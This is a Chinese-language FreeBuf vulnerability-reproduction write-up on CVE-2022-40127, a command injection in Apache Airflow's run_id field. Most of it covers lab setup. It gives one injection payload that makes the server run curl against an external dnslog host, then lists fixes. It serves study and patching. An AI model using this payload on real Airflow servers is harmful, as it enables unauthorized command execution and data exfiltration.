freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Apache Airflow(CVE-2022-40127)漏洞复现
2022-11-24 16:11:35
所属地 海外

Apache Airflow(CVE-2022-40127)漏洞复现

漏洞描述:

Apache Airflow 是一个可编程,调度和监控的工作流平台,基于有向无环图(DAG),Airflow 可以定义一组有依赖的任务,按照依赖依次执行。该漏洞影响版本Apache Airflow <2.4.0;当攻击者可访问到Apache Airflow的后台,且环境中存在默认Example Dags,则可构造恶意请求借助run_id 执行任意命令。

准备环境:

Ubuntu、apache airflow2.3.4、python3.8、mysql5.7.39

一、环境搭建:

1、指定air-flow主目录:

export AIRFLOW_HOME=~/airflow

2、air-flow安装

pip3 install apache-airflow==2.3.4

1669274807_637f1cb716999d3dac57e.png!small?1669274807541

3、初始化

执行airflow进行初始化:

1669274885_637f1d05c09f28d8d8509.png!small?1669274886123

3、配置文件修改:

(1)初始化后,会在airflow主目录生成airflow.cfg文件:

1669275009_637f1d812dbefe2a6f2ae.png!small?1669275009444

编辑两个地方:

(A)

#executor = SequentialExecutor 修改为:
executor = LocalExecutor

1669275145_637f1e099b1fabfa7a380.png!small?1669275145857

(B)

#sql_alchemy_conn = sqlite:////root/airflow/airflow.db 修改为:
sql_alchemy_conn = mysql://airflowdb:airflowdb123@localhost:3306/airflowdb

1669275203_637f1e434da10511e50c7.png!small?1669275203732

(2)修改mysql配置文件my.cnf,在[mysqld]中添加:

explicit_defaults_for_timestamp = true

我直接用的宝塔,在配置里面已经存在:

1669275351_637f1ed762e46f9371712.png!small?1669275351712

修改后重启mysql

(3)添加一个名为airflowdb的数据库:

1669275506_637f1f72e0e12e1764e82.png!small?1669275507110

<注意:数据库引擎建议为innodb,否则会报错“Specified key was too long; max key length is 1000 bytes”>

4、数据库初始化

在~/airflow主目录执行:

airflow db init

1669275690_637f202a98b1138803baa.png!small?1669275690858

<注:该处若未安装mysqlclient,将会报错,

ModuleNotFoundError: No module named 'MySQLdb'

因为初始化会写入mysql

mysqlclinet安装:

python3 -m pip install mysqlclient

>

执行:

1669275834_637f20ba3f157db8fb8bd.png!small?1669275834620

正常执行完毕后,会有“Initialization done”字样:

1669275877_637f20e5677866b838b92.png!small?1669275877636

5、配置

创建登录用户:

airflow users create --username admin --firstname admin --lastname admin --role Admin --email admin@lab.com

1669275975_637f214793018ffe3eeae.png!small?1669275976101

最后將提示设置密码:

1669276021_637f2175708a85bc10dc6.png!small?1669276021706


6、启动

(1)server

airflow webserver -p 11888

1669276208_637f2230175cffd5300dc.png!small?1669276208640

(2)scheduler:

airflow scheduler

1669276165_637f2205976f00b8b8095.png!small?1669276166080

界面:

1669276252_637f225cb401c96a24dd8.png!small?1669276253002

二、复现:

登录airflow:

1669276365_637f22cd4b4b8155df733.png!small?1669276365752

设置run_id

在“example_bash_operator”行,点击action项的三角符号,点击“Trigger DAG w/ config”:

1669276446_637f231e348ff66e02e41.png!small?1669276446453

进入配置,

1669276539_637f237be6f09aa69c634.png!small?1669276540143

在“run id”处输入payload:

{"lab":"\";curl `uname`.****.dnslog.pw;\""}

1669276620_637f23ccb439e5d9e0039.png!small?1669276621153


dnslog处查看结果:

1669276658_637f23f2074263949e659.png!small?1669276658353


漏洞修复:

官方已发布版本 2.4.3,可升级Apache Airflow版本到2.4.0或以上,或者停用默认 Dags。

参考:

https://github.com/apache/airflow/pull/25960


# 渗透测试 # web安全 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录